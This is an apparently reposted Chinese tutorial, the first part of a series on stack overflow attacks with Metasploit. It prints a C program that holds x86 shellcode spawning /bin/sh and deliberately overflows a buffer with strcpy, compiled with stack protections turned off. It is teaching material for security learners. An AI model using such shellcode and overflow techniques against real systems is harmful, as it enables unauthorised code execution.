使用metasploit進行棧溢出攻擊-1

來源:互聯網
上載者:User

標籤:style   blog   http   ar   color   使用   sp   for   on   

 攻擊是在bt5下面進行,目標程式是在ubuntu虛擬機器上運行。

 

首先,需要搞明白什麼是棧溢出攻擊,詳細內容請閱讀

http://blog.csdn.net/cnctloveyu/article/details/4236212

這篇文章講的很清楚了,只是具體例子不是很準確,有點小錯誤。

下面貼上一個我驗證過的,修改過可執行檔例子。

//shell.c

 1 #include<unistd.h> 2  3 char shellcode[] =  4 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"  5 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"  6 "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 7 char large_string[128];  8  9 void main() { 10     char buffer[96]; 11     int i; 12     long *long_ptr = (long *) large_string; 13 14     for (i = 0; i < 32; i++) 15         *(long_ptr + i) = (int) buffer; 16 17     for (i = 0; i < strlen(shellcode); i++) 18         large_string[i] = shellcode[i]; 19 20     strcpy(buffer,large_string); 21 } 

此程式使用gcc -fno-stack-protector -z execstack -g -o shell shell.c 編譯

程式執行完畢以後應該新開啟一個shell。

 

使用metasploit進行棧溢出攻擊-1

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.